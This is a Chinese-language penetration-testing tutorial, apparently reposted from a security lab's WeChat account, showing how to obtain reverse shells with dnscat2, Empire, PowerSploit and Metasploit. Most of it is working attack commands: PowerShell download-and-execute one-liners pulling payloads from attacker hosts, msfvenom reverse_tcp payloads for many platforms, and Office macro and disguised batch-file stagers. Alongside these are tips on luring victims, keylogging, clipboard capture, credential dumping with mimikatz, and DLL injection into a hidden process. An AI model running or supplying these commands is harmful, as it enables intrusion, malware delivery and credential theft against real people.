前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >反弹shell的学习总结 - Part 2

反弹shell的学习总结 - Part 2

作者头像
安全小王子
发布2020-07-31 17:10:12
1.8K0
发布2020-07-31 17:10:12
举报
文章被收录于专栏:betasecbetasec

本文作者:Cream(贝塔安全实验室-核心成员)

2.3 dnscat2反弹DNS shell

dnscat2(https://github.com/iagox86/dnscat2)是一个DNS隧道,旨在通过DNS协议创建加密的命令和控制(C&C)通道。dnscat2分为两部分:客户端和服务端。dnscat2客户端采用C语言编写,服务器端采用ruby语言编写。后来又有安全研究人员使用PowerShell脚本重写了dnscat2客户端dnscat2-powershell(https://github.com/lukebaggett/dnscat2-powershell)。

利用dnscat2和dnscat2-powershell实现反弹DNS shell:

Step 1 :在linux系统中安装dnscat2(需要ruby环境),然后开始监听:

代码语言:javascript
复制
ruby dnscat2.rb --dns "domain=pentest.com,host=192.168.1.32" --no-cache -e open

Step 2:在目标主机上执行如下的代码:

代码语言:javascript
复制
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain pentest.com -DNSServer 192.168.1.32

Step 3:接着就可以看到反弹过来的shell,输入session -i 1进入第一个会话,输入shell,然后再次输入session -i 2,会看到系统的CMD命令行!!

2.4 Empire反弹shell

Empire(https://github.com/EmpireProject/Empire)基于powershell的后渗透攻击框架,可利用office宏、OLE对象插入批处理文件、HTML应用程序(HTAs)等进行反弹shell,它的功能有点类似MSF。

2.4.1 安装Empire

代码语言:javascript
复制
Git clone https://github.com/EmpireProject/Empire

启动Empire

  • 设置监听器
  • 选择渗透测试模块(设置参数àrun/execute)
  • 产生payload
  • 最后把payload在目标机上执行
  • 反弹shell

2.4.2 利用office宏定义反弹shell

Step 1:我们首先查看一下Empire的帮助信息:help

接着输入listeners设置监听器,后面跟上7中模式

选用http,然后execute

注意:可以通过set Name shuteer来设置该监听器的名称,如果之前已经添加过监听器,后来添加的监听器要设置名字以及监听的端口set Name listener_name set Host IP:port

Step 2:back退出当前环境,然后生成payload,使用usestager moudle_name,multi为通用模块,osx是MAC系统的模块,其余均为Windows系统的模块。

输入usestager windows/macro shuteer(监听器的名字) #生成payload,execute

产看生成的payload

生成/tmp/macro 攻击代码后,新建一个word 创建宏,注意:需要开启宏或者用户手动启用宏。开启宏设置:“文件”-“选项”-“信任中心”,选择“启用所有宏”

然后产生的payload添加到测试文档的宏中。

Step 3:诱导用户去打开该测试文档,然后就可kali终端中有接收到的测试数据

进入反弹回来的会话中,使用interact命令连接主机,intetact DMEYHL1V(会话名字)

Shell whoami //查看当前用户

Shell net user //获取系统用户

sysinfo //获取系统信息

运行mimikatz //获取当前活动用户账号信息

获取当前进程的ID:getpid、getuid、pwd

输入creds可以自动过滤、整理出获取的用户密码(有密文和明文)

2.4.3 利用office OLE对象插入bat文件反弹shell

Step 1:要想设置launcher_bat木马,需要输入usestager windows/launcher_bat http(监听器的名称)

Step 2:将产生的bat文件直接复制到靶机上运行,就可以看到反弹的shell

获取系统运行的进程

为了增加迷惑性,可以将批处理文件插入到office文档中,现创建一个excel表格,在excel中“插入”-“对象”-“由文件创建” 处,插入launcher.bat文件,可更改文件名称和图标,进行伪装,当诱导目标点击该文件,执行后,即可成功反弹shell。

2.4.4 Empire产生VBS木马反弹shell

代码语言:javascript
复制
use stager windows/launcher_vbs
execute

在靶机上运行该VBS脚本即可

注意:如果要生成基于VBS的Powershell代码,设置完listener和userstager之后,不用输入execute,直接输入back,然后输入Launcher powershell shuteer(监听器的名字)

2.4.5 信息收集

输入usemodule collection ,然后按TAB键查询完整的列表

(1)截屏

代码语言:javascript
复制
(Empire: PDGNXFEK) > usemodule collection/screenshot
(Empire: powershell/collection/screenshot) > execute

(2)键盘记录

代码语言:javascript
复制
Empire: PDGNXFEK) > usemodule collection/keylogger
(Empire: powershell/collection/keylogger) > run

就会在agent.log的同级目录中生成keystrokes.txt,打开该文件便可以看到记录的数据!

关闭键盘记录:

代码语言:javascript
复制
Back
Jobs
Jobs kill JOB_name

(3)剪贴板记录

代码语言:javascript
复制
(Empire: PDGNXFEK) > usemodule collection/clipboard_monitor
(Empire: powershell/collection/clipboard_monitor) > execute

然后目标主机上复制一句话,停止方法如上所示。

(4)查看域共享文件

代码语言:javascript
复制
(Empire: PDGNXFEK) > usemodule  situational_awareness/network/powerview/share_finder
(Empire: powershell/situational_awareness/network/powerview/share_finder) > execute

注意:当前环境没有域,后面讲完域渗透之后可以测试

(5)目标主机信息(域环境)

代码语言:javascript
复制
(Empire: PDGNXFEK) > usemodule situational_awareness/host/winenum
(Empire: powershell/situational_awareness/host/winenum) > run

或者使用如下模块:

代码语言:javascript
复制
(Empire: PDGNXFEK) > usemodule situational_awareness/host/computerdetails
(Empire: powershell/situational_awareness/host/computerdetails) > run

(6)ARP扫描

代码语言:javascript
复制
(Empire: PDGNXFEK) > usemodule situational_awareness/network/arpscan
(Empire: powershell/situational_awareness/network/arpscan) >

然后需要设置扫描的范围:

代码语言:javascript
复制
set Range 192.168.1.1-192.168.1.254

(7)DNS信息获取

代码语言:javascript
复制
(Empire: PDGNXFEK) > set range 1usemodule situational_awareness/network/reverse_dns
(Empire: powershell/situational_awareness/network/reverse_dns) > run

或者使用

(Empire: PDGNXFEK) > usemodule situational_awareness/host/dnsserver (Empire: powershell/situational_awareness/host/dnsserver) > run

(8)查找域控登录服务器IP

代码语言:javascript
复制
(Empire: PDGNXFEK) > usemodule situational_awareness/network/powerview/user_hunter
(Empire: powershell/situational_awareness/network/powerview/user_hunter) > execute

(9)本地管理组访问模块

Empire:PDGNXFEK)>usemodulesituational_awareness/network/powerview/find_localadmin_access (Empire: powershell/situational_awareness/network/powerview/find_localadmin_access) > run

(10)本地管理组访问模块

代码语言:javascript
复制
(Empire:PDGNXFEK)>usemodulesusemodulesituational_awareness/network/powerview/get_domain_controller
(Empire: powershell/situational_awareness/network/powerview/get_domain_controller) > run

2.5 PowerSploit

PowerSploit是又一款基于powershell的后渗透攻击框架。PowerSploit包括Inject-Dll(注入dll到指定进程)、Inject-Shellcode(注入shellcode到执行进程)等功能。

利用msfvenom、metasploit和PowerSploit中的Invoke-DllInjection.ps1 实现dll注入,反弹shell

2.5.1 执行ShellCode反弹Meterpreter Shell

Step 1:下载PowerSploit到本地,使用python搭建简易服务器(python -m SimpleHTTPServer 9889),http://192.168.1.18:9889/CodeExecution/Invoke-Shellcode.ps1

Step 2:MSF中选择reverse_tcp模块进行反弹

然后使用msfvenom命令生成powershell脚本木马

代码语言:javascript
复制
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.28 lport=4444 -f powershell -o ./test在msfvenom中自动补全的方法:
1、安装zsh
2、~/.oh-my-zsh/custom/plugins/msfvenom/ 创建这样一个目录
3、编辑 ~/.zshrc   添加plugins=(msfvenom)
4、_msfvenom 复制到~/.oh-my-zsh/custom/plugins/msfvenom/ 目录中
5、Source  ~/.zshrc

将生成的test文件复制到python搭建的web服务器中,于是有:http://192.168.1.18:9889/test

step 3:在目标机上执行powershell下载脚本

代码语言:javascript
复制
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.18:9889/CodeExecution/Invoke-Shellcode.ps1')

下载MSF产生的木马文件

代码语言:javascript
复制
IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.18:9889/test')
最后运行木马文件:
Invoke-Shellcode -Shellcode ($buf)  -Force

其中-shellcode()表示执行恶意代码的函数,$buf是test文件中恶意代码

最后就能在MSF看到反弹的shell

2.5.2 DLL注入反弹shell

使用模块的是Invoke-DllInjection.ps1,它是一个DLL注入的脚本,首先还是要下载脚本:

代码语言:javascript
复制
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.18:9889/CodeExecution/Invoke-DllInjection.ps1 ')
然后在kali中生成一个DLL注入脚本
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.28 lport=6667 -f dll -o ./pentest.dll
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.129 lport=6667 -f dll  -a x64 --platform windows -o  ./test.dll

接着将生成好的DLL文件复制python服务器中,于是有:http://192.168.1.18:9889/pentest.dll,然后在目标机上下载该文件到C盘

在目标机上启动一个进程进行DLL注入,可以后续的注入更加隐蔽,使用如下的命令新建一个名为notepad.exe的隐蔽进程:

Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden

然后执行下面的代码:

代码语言:javascript
复制
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.18:9889/CodeExecution/Invoke-DllInjection.ps1 ');Invoke-DllInjection -ProcessID 1124 -Dll c:\pentest.dll

最后在MSF能看到反弹的shell。

0x03 MSF反弹shell

3.1 使用regsvr32_applocker_bypass_server反弹shell

利用metasploit的web_delivery模块可通过python、php、powershell、regsvr32等进行反弹shell

代码语言:javascript
复制
use exploit/windows/misc/regsvr32_applocker_bypass_server</small>
set LHOST ip 
set lport port

然后run,然后会生成一个改注册表的,复制下来在目标机的cmd运行一下,就会反弹一个shell回来。

在kali中可以看到反弹的shell

3.2 结合MSF和Powershell Getshell

MSF使用的模块是exploit/multi/script/web_delivery

执行run之后,会看到生成的powershell命令,复制出来,在目标机上执行

代码语言:javascript
复制
powershell.exe -nop -w hidden -c $h=new-object net.webclient;$h.proxy=[Net.WebRequest]::GetSystemWebProxy();$h.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $h.downloadstring('http://192.168.1.28:8080/SpTrvxeyZrqgifq');

在MSF中就会看到反弹shell:

3.3. Metasploit之多种后门生成

代码语言:javascript
复制
(1)windows    -->使用模块“windows/meterpreter/reverse_tcp”
命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=44444 X >test.exe
(2)linux      -->使用模块“linux/x86/meterpreter/shell_rverse_tcp”
命令:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 X >text
参考文章:http://xiao106347.blog.163.com/blog/static/215992078201310253172937/
(3)java       -->使用模块“java/meterpreter/reverse_tcp”
命令:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 W >text.jar
(4)php        -->使用模块“php/meterpreter/reverse_tcp”
命令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 -f raw >text.php
参考文章:http://www.111cn.net/phper/phpanqn/101228.htm
(5)jsp        -->使用模块“java/jsp_shell_reverse_tcp”
命令:msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.2.146 LPORT=1234 R >text.jsp
参考文章:http://netsecurity.51cto.com/art/201406/442648.htm
(6)asp        -->使用模块“windows/meterpreter/reverse_tcp”
命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 -f asp > shell.asp
参考文章:http://www.ithao123.cn/content-10813776.html
(7)aspx       -->使用模块“windows/meterpreter/reverse_tcp”
命令:msfvenom -a x86 --platform win -p windows/meterpreter/reverse_tcp LHOST= 192.168.1.109 LPORT=7788 -f aspx x> /home/niexinming/back.aspx
参考文章:http://www.ithao123.cn/content-10813776.html
(7)android    -->使用模块“android/meterpreter/reverse_tcp”
命令:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 R >text.apk
参考“13-Metasploit之渗透安卓实战”

1、 SSH端口转发

(1)SSH本地端口转发

(2)SSH远程转发

2、 EarthWorm端口转发

EW是一套便携式的网络穿透工具,具有SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具共有6种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。

代码语言:javascript
复制
正向 SOCKS v5 服务器
  $ ./ew -s ssocksd -l 1080
反弹 SOCKS v5 服务器
  这个操作具体分两步:
  a) 先在一台具有公网 ip 的主机A上运行以下命令:
  $ ./ew -s rcsocks -l 1080 -e 8888 
  b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口
  $ ./ew -s rssocks -d 1.1.1.1 -e 8888 
 成功。
其他工具可参考:https://mp.weixin.qq.com/s/LEhOCns-pLLwjDT9VwozfA##
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-09-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 betasec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档